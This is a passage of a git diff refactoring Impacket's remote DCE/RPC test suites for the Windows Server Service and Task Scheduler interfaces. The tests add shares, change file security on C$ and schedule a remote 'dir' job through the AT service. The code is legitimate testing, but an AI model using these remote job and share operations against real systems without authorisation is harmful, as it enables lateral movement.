= NULL request['Level'] = 2 @@ -594,7 +581,7 @@ def test_NetrShareDelStart_NetrShareDelCommit(self): resp.dump() def test_hNetrShareDelStart_hNetrShareDelCommit(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() shareInfo = srvs.SHARE_INFO_2() shareInfo['shi2_netname'] = 'BETUSHARE\x00' @@ -613,7 +600,7 @@ def test_hNetrShareDelStart_hNetrShareDelCommit(self): resp.dump() def test_NetrShareCheck(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareCheck() request['ServerName'] = NULL request['Device'] = 'C:\\\x00' @@ -621,12 +608,12 @@ def test_NetrShareCheck(self): resp.dump() def test_hNetrShareCheck(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrShareCheck(dce, 'C:\\\x00') resp.dump() def test_NetrServerGetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrServerGetInfo() request['ServerName'] = NULL request['Level'] = 100 @@ -654,7 +641,7 @@ def test_NetrServerGetInfo(self): resp.dump() def test_hNetrServerGetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrServerGetInfo(dce, 100) resp.dump() @@ -674,7 +661,7 @@ def test_hNetrServerGetInfo(self): resp.dump() def test_NetrServerDiskEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrServerDiskEnum() request['ServerName'] = NULL request['ResumeHandle'] = NULL @@ -685,12 +672,12 @@ def test_NetrServerDiskEnum(self): resp.dump() def test_hNetrServerDiskEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrServerDiskEnum(dce, 0) resp.dump() def test_NetrServerStatisticsGet(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrServerStatisticsGet() request['ServerName'] = NULL request['Service'] = NULL @@ -700,24 +687,24 @@ def test_NetrServerStatisticsGet(self): resp.dump() def test_hNetrServerStatisticsGet(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrServerStatisticsGet(dce, NULL, 0, 0) resp.dump() def test_NetrRemoteTOD(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrRemoteTOD() request['ServerName'] = NULL resp = dce.request(request) resp.dump() def test_hNetrRemoteTOD(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrRemoteTOD(dce) resp.dump() def test_NetrServerTransportEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrServerTransportEnum() request['ServerName'] = NULL request['PreferedMaximumLength'] = 0xffffffff @@ -741,7 +728,7 @@ def test_NetrServerTransportEnum(self): resp.dump() def test_hNetrServerTransportEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrServerTransportEnum(dce, 0) resp.dump() @@ -752,7 +739,7 @@ def test_hNetrServerTransportEnum(self): resp.dump() def test_NetrpGetFileSecurity_NetrpSetFileSecurity(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrpGetFileSecurity() request['ServerName'] = NULL request['ShareName'] = 'C$\x00' @@ -771,15 +758,14 @@ def test_NetrpGetFileSecurity_NetrpSetFileSecurity(self): resp.dump() def test_hNetrpGetFileSecurity_hNetrpSetFileSecurity(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrpGetFileSecurity(dce, 'C$\x00', '\\Windows\x00', OWNER_SECURITY_INFORMATION) - #hexdump(resp) - resp = srvs.hNetrpSetFileSecurity(dce,'C$\x00', '\\Windows\x00', OWNER_SECURITY_INFORMATION, resp ) + resp = srvs.hNetrpSetFileSecurity(dce,'C$\x00', '\\Windows\x00', OWNER_SECURITY_INFORMATION, resp) resp.dump() def test_NetprPathType(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetprPathType() request['ServerName'] = NULL request['PathName'] = '\\pagefile.sys\x00' @@ -788,12 +774,12 @@ def test_NetprPathType(self): resp.dump() def test_hNetprPathType(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetprPathType(dce, '\\pagefile.sys\x00', 1) resp.dump() def test_NetprPathCanonicalize(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetprPathCanonicalize() request['ServerName'] = NULL request['PathName'] = '\\pagefile.sys\x00' @@ -805,12 +791,12 @@ def test_NetprPathCanonicalize(self): resp.dump() def test_hNetprPathCanonicalize(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetprPathCanonicalize(dce, '\\pagefile.sys\x00', 'c:\x00', 50, 0, 0) resp.dump() def test_NetprPathCompare(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetprPathCompare() request['ServerName'] = NULL request['PathName1'] = 'c:\\pagefile.sys\x00' @@ -821,12 +807,12 @@ def test_NetprPathCompare(self): resp.dump() def test_hNetprPathCompare(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetprPathCompare(dce, 'c:\\pagefile.sys\x00', 'c:\\pagefile.sys\x00') resp.dump() def test_NetprNameValidate(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetprNameValidate() request['ServerName'] = NULL request['Name'] = 'Administrator\x00' @@ -836,12 +822,12 @@ def test_NetprNameValidate(self): resp.dump() def test_hNetprNameValidate(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetprNameValidate(dce, 'Administrator\x00', srvs.NAMETYPE_USER) resp.dump() def test_NetprNameCanonicalize(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetprNameCanonicalize() request['ServerName'] = NULL request['Name'] = 'Administrator\x00' @@ -852,12 +838,12 @@ def test_NetprNameCanonicalize(self): resp.dump() def test_hNetprNameCanonicalize(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetprNameCanonicalize(dce, 'Administrator\x00', 50, srvs.NAMETYPE_USER, 0x80000000) resp.dump() def test_NetprNameCompare(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetprNameCompare() request['ServerName'] = NULL request['Name1'] = 'Administrator\x00' @@ -868,45 +854,45 @@ def test_NetprNameCompare(self): resp.dump() def test_hNetprNameCompare(self): - dce, rpctransport = self.connect() - resp = srvs.hNetprNameCompare(dce,'Administrator\x00', 'Administrator\x00',srvs.NAMETYPE_USER, 0x80000000) + dce, rpc_transport = self.connect() + resp = srvs.hNetprNameCompare(dce, 'Administrator\x00', 'Administrator\x00', srvs.NAMETYPE_USER, 0x80000000) resp.dump() def test_NetrDfsGetVersion(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsGetVersion() request['ServerName'] = NULL try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if e.get_error_code() != 0x2: raise def test_hNetrDfsGetVersion(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() try: resp = srvs.hNetrDfsGetVersion(dce) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if e.get_error_code() != 0x2: raise def test_NetrDfsModifyPrefix(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsModifyPrefix() request['ServerName'] = NULL request['Prefix'] = 'c:\\\x00' try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if e.get_error_code() != 0x32: raise def test_NetrDfsFixLocalVolume(self): # This one I cannot make it work. It's only supported on w2k and xp - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsFixLocalVolume() request['ServerName'] = NULL request['VolumeName'] = r'\??\C:\DfsShare' @@ -919,24 +905,24 @@ def test_NetrDfsFixLocalVolume(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCException as e: if str(e) != 'rpc_x_bad_stub_data': raise def test_NetrDfsManagerReportSiteInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsManagerReportSiteInfo() request['ServerName'] = NULL request['ppSiteInfo'] = NULL try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0: raise def test_NetrServerAliasAdd_NetrServerAliasDel(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrServerAliasAdd() request['ServerName'] = NULL request['Level'] = 0 @@ -958,7 +944,7 @@ def test_NetrServerAliasAdd_NetrServerAliasDel(self): resp.dump() def test_hNetrServerAliasAdd_hNetrServerAliasDel(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() aliasInfo = srvs.SERVER_ALIAS_INFO_0() aliasInfo['srvai0_alias'] = 'BETOALIAS\x00' aliasInfo['srvai0_target'] = '%s\x00' % self.machine @@ -970,7 +956,7 @@ def test_hNetrServerAliasAdd_hNetrServerAliasDel(self): resp.dump() def test_NetrServerAliasEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrServerAliasEnum() request['ServerName'] = NULL request['InfoStruct']['Level'] = 0 @@ -981,22 +967,22 @@ def test_NetrServerAliasEnum(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if str(e) != 'ERROR_NOT_SUPPORTED': raise def test_hNetrServerAliasEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() try: resp = srvs.hNetrServerAliasEnum(dce, 0) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: print(e) if str(e) != 'ERROR_NOT_SUPPORTED': raise def test_NetrShareDelEx(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareAdd() request['ServerName'] = NULL request['Level'] = 2 @@ -1029,13 +1015,13 @@ def test_NetrShareDelEx(self): resp.dump() def ttt_NetrServerTransportAdd_NetrServerTransportDel(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrServerTransportAdd() request['ServerName'] = NULL request['Level'] = 0 request['Buffer']['svti0_numberofvcs'] = 0 request['Buffer']['svti0_transportname'] = '\\Device\\NetbiosSmb\x00' - request['Buffer']['svti0_transportaddress'] = list('%s'% self.machine) + request['Buffer']['svti0_transportaddress'] = list('%s' % self.machine) request['Buffer']['svti0_transportaddresslength'] = len(request['Buffer']['svti0_transportaddress']) request['Buffer']['svti0_networkaddress'] = '%s\x00' % self.machine resp = dce.request(request) @@ -1049,14 +1035,14 @@ def ttt_NetrServerTransportAdd_NetrServerTransportDel(self): resp.dump() def ttt_NetrServerTransportAddEx_NetrServerTransportDelEx(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrServerTransportAddEx() request['ServerName'] = NULL request['Level'] = 0 request['Buffer']['tag'] = 0 request['Buffer']['Transport0']['svti0_numberofvcs'] = 0 request['Buffer']['Transport0']['svti0_transportname'] = '\\Device\\NetbiosSmb\x00' - request['Buffer']['Transport0']['svti0_transportaddress'] = list('%s'% self.machine) + request['Buffer']['Transport0']['svti0_transportaddress'] = list('%s' % self.machine) request['Buffer']['Transport0']['svti0_transportaddresslength'] = len(request['Buffer']['Transport0']['svti0_transportaddress']) request['Buffer']['Transport0']['svti0_networkaddress'] = '%s\x00' % self.machine resp = dce.request(request) @@ -1071,7 +1057,7 @@ def ttt_NetrServerTransportAddEx_NetrServerTransportDelEx(self): resp.dump() def test_NetrDfsCreateLocalPartition(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsCreateLocalPartition() request['ServerName'] = NULL request['ShareName'] = 'C$\x00' @@ -1083,24 +1069,24 @@ def test_NetrDfsCreateLocalPartition(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0: raise def test_NetrDfsDeleteLocalPartition(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsDeleteLocalPartition() request['ServerName'] = NULL request['Prefix'] = 'c:\\\x00' try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0: raise def test_NetrDfsSetLocalVolumeState(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsSetLocalVolumeState() request['ServerName'] = NULL request['Prefix'] = 'c:\\\x00' @@ -1108,13 +1094,13 @@ def test_NetrDfsSetLocalVolumeState(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0: raise def test_NetrDfsCreateExitPoint(self): # Cannot make it work, supported only on w2k and xp - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsCreateExitPoint() request['ServerName'] = NULL request['Prefix'] = 'c:\\\x00' @@ -1123,13 +1109,13 @@ def test_NetrDfsCreateExitPoint(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCException as e: if str(e).find('rpc_x_bad_stub_data') < 0: raise def test_NetrDfsDeleteExitPoint(self): # Cannot make it work, supported only on w2k and xp - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrDfsDeleteExitPoint() request['ServerName'] = NULL request['Prefix'] = 'c:\\\x00' @@ -1137,47 +1123,21 @@ def test_NetrDfsDeleteExitPoint(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0: raise -class SMBTransport(SRVSTests): - def setUp(self): - SRVSTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(SRVSTests): - def setUp(self): - SRVSTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') +@pytest.mark.remote +class SRVSTestsSMBTransport(SRVSTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class SRVSTestsSMBTransport64(SRVSTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_tsch.py b/tests/dcerpc/test_tsch.py similarity index 65% rename from tests/SMB_RPC/test_tsch.py rename to tests/dcerpc/test_tsch.py index f92cb86302..b73f225828 100644 --- a/tests/SMB_RPC/test_tsch.py +++ b/tests/dcerpc/test_tsch.py @@ -1,74 +1,50 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# NetrJobEnum -# NetrJobAdd -# NetrJobDel -# NetrJobGetInfo -# hNetrJobEnum -# hNetrJobAdd -# hNetrJobDel -# hNetrJobGetInfo -# SASetAccountInformation -# hSASetAccountInformation -# SASetNSAccountInformation -# hSASetNSAccountInformation -# SAGetNSAccountInformation -# hSAGetNSAccountInformation -# SAGetAccountInformation -# hSAGetAccountInformation -# SchRpcHighestVersion -# hSchRpcHighestVersion -# SchRpcRetrieveTask -# hSchRpcRetrieveTask -# SchRpcCreateFolder -# hSchRpcCreateFolder -# SchRpcDelete -# hSchRpcDelete -# SchRpcEnumFolders -# hSchRpcEnumFolders -# SchRpcEnumTasks -# hSchRpcEnumTasks -# SchRpcEnumInstances -# hSchRpcEnumInstances -# SchRpcRun -# hSchRpcRun -# SchRpcGetInstanceInfo -# hSchRpcGetInstanceInfo -# SchRpcStopInstance -# hSchRpcStopInstance -# SchRpcStop -# hSchRpcStop -# SchRpcRename -# hSchRpcRename -# SchRpcScheduledRuntimes -# hSchRpcScheduledRuntimes -# SchRpcGetLastRunInfo -# hSchRpcGetLastRunInfo -# SchRpcGetTaskInfo -# hSchRpcGetTaskInfo -# SchRpcGetNumberOfMissedRuns -# hSchRpcGetNumberOfMissedRuns -# SchRpcEnableTask -# hSchRpcEnableTask +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# Shouldn't dump errors against a win7 +# Tested so far: +# (h)NetrJobEnum +# (h)NetrJobAdd +# (h)NetrJobDel +# (h)NetrJobGetInfo +# (h)SASetAccountInformation +# (h)SASetNSAccountInformation +# (h)SAGetNSAccountInformation +# (h)SAGetAccountInformation +# (h)SchRpcHighestVersion +# (h)SchRpcRetrieveTask +# (h)SchRpcCreateFolder +# (h)SchRpcDelete +# (h)SchRpcEnumFolders +# (h)SchRpcEnumTasks +# (h)SchRpcEnumInstances +# (h)SchRpcRun +# (h)SchRpcGetInstanceInfo +# (h)SchRpcStopInstance +# (h)SchRpcStop +# (h)SchRpcRename +# (h)SchRpcScheduledRuntimes +# (h)SchRpcGetLastRunInfo +# (h)SchRpcGetTaskInfo +# (h)SchRpcGetNumberOfMissedRuns +# (h)SchRpcEnableTask +# +# Not yet: +# SchRpcRegisterTask +# SchRpcSetSecurity +# SchRpcGetSecurity # -################################################################################ - from __future__ import division from __future__ import print_function +import pytest import unittest +from tests.dcerpc import DCERPCTests -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser - -from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import tsch, atsvc, sasec from impacket.dcerpc.v5.atsvc import AT_INFO from impacket.dcerpc.v5.dtypes import NULL @@ -76,27 +52,14 @@ from impacket.system_errors import ERROR_NOT_SUPPORTED -class TSCHTests(unittest.TestCase): - def connect(self, stringBinding, bindUUID): - rpctransport = transport.DCERPCTransportFactory(stringBinding ) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.connect() - dce.bind(bindUUID, transfer_syntax = self.ts) - - return dce, rpctransport +class ATSVCTests(DCERPCTests): + iface_uuid = atsvc.MSRPC_UUID_ATSVC + string_binding = r"ncacn_np:{0.machine}[\PIPE\atsvc]" + authn = True + authn_level = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY def test_NetrJobEnum(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) - + dce, rpc_transport = self.connect() request = atsvc.NetrJobEnum() request['ServerName'] = NULL request['pEnumContainer']['Buffer'] = NULL @@ -104,7 +67,7 @@ def test_NetrJobEnum(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -112,12 +75,11 @@ def test_NetrJobEnum(self): return def test_hNetrJobEnum(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) - + dce, rpc_transport = self.connect() try: resp = atsvc.hNetrJobEnum(dce, NULL, NULL, 0xffffffff) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -125,8 +87,7 @@ def test_hNetrJobEnum(self): return def test_hNetrJobAdd_hNetrJobEnum_hNetrJobDel(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) - + dce, rpc_transport = self.connect() atInfo = AT_INFO() atInfo['JobTime'] = NULL atInfo['DaysOfMonth'] = 0 @@ -137,7 +98,7 @@ def test_hNetrJobAdd_hNetrJobEnum_hNetrJobDel(self): try: resp = atsvc.hNetrJobAdd(dce, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -152,8 +113,7 @@ def test_hNetrJobAdd_hNetrJobEnum_hNetrJobDel(self): resp.dump() def test_NetrJobAdd_NetrJobEnum_NetrJobDel(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) - + dce, rpc_transport = self.connect() request = atsvc.NetrJobAdd() request['ServerName'] = NULL request['pAtInfo']['JobTime'] = NULL @@ -164,7 +124,7 @@ def test_NetrJobAdd_NetrJobEnum_NetrJobDel(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -187,8 +147,7 @@ def test_NetrJobAdd_NetrJobEnum_NetrJobDel(self): resp.dump() def test_NetrJobAdd_NetrJobGetInfo_NetrJobDel(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) - + dce, rpc_transport = self.connect() request = atsvc.NetrJobAdd() request['ServerName'] = NULL request['pAtInfo']['JobTime'] = NULL @@ -199,7 +158,7 @@ def test_NetrJobAdd_NetrJobGetInfo_NetrJobDel(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -220,8 +179,7 @@ def test_NetrJobAdd_NetrJobGetInfo_NetrJobDel(self): resp.dump() def test_hNetrJobAdd_hNetrJobGetInfo_hNetrJobDel(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) - + dce, rpc_transport = self.connect() atInfo = AT_INFO() atInfo['JobTime'] = NULL atInfo['DaysOfMonth'] = 0 @@ -232,7 +190,7 @@ def test_hNetrJobAdd_hNetrJobGetInfo_hNetrJobDel(self): try: resp = atsvc.hNetrJobAdd(dce, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -245,9 +203,15 @@ def test_hNetrJobAdd_hNetrJobGetInfo_hNetrJobDel(self): resp = atsvc.hNetrJobDel(dce, NULL, resp['pJobId'], resp['pJobId']) resp.dump() - def test_SASetAccountInformation(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC) +class SASECTests(DCERPCTests): + iface_uuid = sasec.MSRPC_UUID_SASEC + string_binding = r"ncacn_np:{0.machine}[\PIPE\atsvc]" + authn = True + authn_level = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + + def test_SASetAccountInformation(self): + dce, rpc_transport = self.connect() request = sasec.SASetAccountInformation() request['Handle'] = NULL request['pwszJobName'] = 'MyJob.job\x00' @@ -257,23 +221,21 @@ def test_SASetAccountInformation(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except sasec.DCERPCSessionError as e: if e.get_error_code() != 0x80070002: raise def test_hSASetAccountInformation(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC) - + dce, rpc_transport = self.connect() try: resp = sasec.hSASetAccountInformation(dce, NULL, 'MyJob.job', self.username, self.password, 0) resp.dump() - except Exception as e: + except sasec.DCERPCSessionError as e: if e.get_error_code() != 0x80070002: raise def test_SASetNSAccountInformation(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC) - + dce, rpc_transport = self.connect() request = sasec.SASetNSAccountInformation() request['Handle'] = NULL request['pwszAccount'] = self.username + '\0' @@ -282,70 +244,70 @@ def test_SASetNSAccountInformation(self): resp.dump() def test_hSASetNSAccountInformation(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC) - + dce, rpc_transport = self.connect() resp = sasec.hSASetNSAccountInformation(dce, NULL, self.username, self.password) resp.dump() def test_SAGetNSAccountInformation(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC) - + dce, rpc_transport = self.connect() request = sasec.SAGetNSAccountInformation() request['Handle'] = NULL request['ccBufferSize'] = 25 - for i in range(request['ccBufferSize'] ): + for i in range(request['ccBufferSize']): request['wszBuffer'].append(0) resp = dce.request(request) resp.dump() def test_hSAGetNSAccountInformation(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC) - + dce, rpc_transport = self.connect() resp = sasec.hSAGetNSAccountInformation(dce, NULL, 25) resp.dump() def test_SAGetAccountInformation(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC) - + dce, rpc_transport = self.connect() request = sasec.SAGetAccountInformation() request['Handle'] = NULL request['pwszJobName'] = 'MyJob.job\x00' request['ccBufferSize'] = 15 - for i in range(request['ccBufferSize'] ): + for i in range(request['ccBufferSize']): request['wszBuffer'].append(0) try: resp = dce.request(request) resp.dump() - except Exception as e: + except sasec.DCERPCSessionError as e: if e.get_error_code() != 0x80070002: raise def test_hSAGetAccountInformation(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, sasec.MSRPC_UUID_SASEC) - + dce, rpc_transport = self.connect() try: resp = sasec.hSAGetAccountInformation(dce, NULL, 'MyJob.job', 15) resp.dump() - except Exception as e: + except sasec.DCERPCSessionError as e: if e.get_error_code() != 0x80070002: raise - def test_SchRpcHighestVersion(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) +class TSCHTests(DCERPCTests): + iface_uuid = tsch.MSRPC_UUID_TSCHS + string_binding = r"ncacn_np:{0.machine}[\PIPE\atsvc]" + authn = True + authn_level = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + + def test_SchRpcHighestVersion(self): + dce, rpc_transport = self.connect() request = tsch.SchRpcHighestVersion() resp = dce.request(request) resp.dump() def test_hSchRpcHighestVersion(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - + dce, rpc_transport = self.connect() resp = tsch.hSchRpcHighestVersion(dce) resp.dump() - def tes_SchRpcRegisterTask(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - + @pytest.mark.skip(reason="Disabled test") + def test_SchRpcRegisterTask(self): + dce, rpc_transport = self.connect() xml = """ @@ -360,7 +322,7 @@ def tes_SchRpcRegisterTask(self): \x00 """ request = tsch.SchRpcRegisterTask() - request['path'] =NULL + request['path'] = NULL request['xml'] = xml request['flags'] = 1 request['sddl'] = NULL @@ -371,9 +333,8 @@ def tes_SchRpcRegisterTask(self): resp.dump() def test_SchRpcRetrieveTask(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -383,9 +344,9 @@ def test_SchRpcRetrieveTask(self): atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -400,25 +361,24 @@ def test_SchRpcRetrieveTask(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if e.get_error_code() != 0x80070002: raise - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_hSchRpcRetrieveTask(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - + dce, rpc_transport = self.connect() try: resp = tsch.hSchRpcRetrieveTask(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00') resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass def test_SchRpcCreateFolder_SchRpcEnumFolders_SchRpcDelete(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() request = tsch.SchRpcCreateFolder() request['path'] = '\\Beto\x00' @@ -435,7 +395,7 @@ def 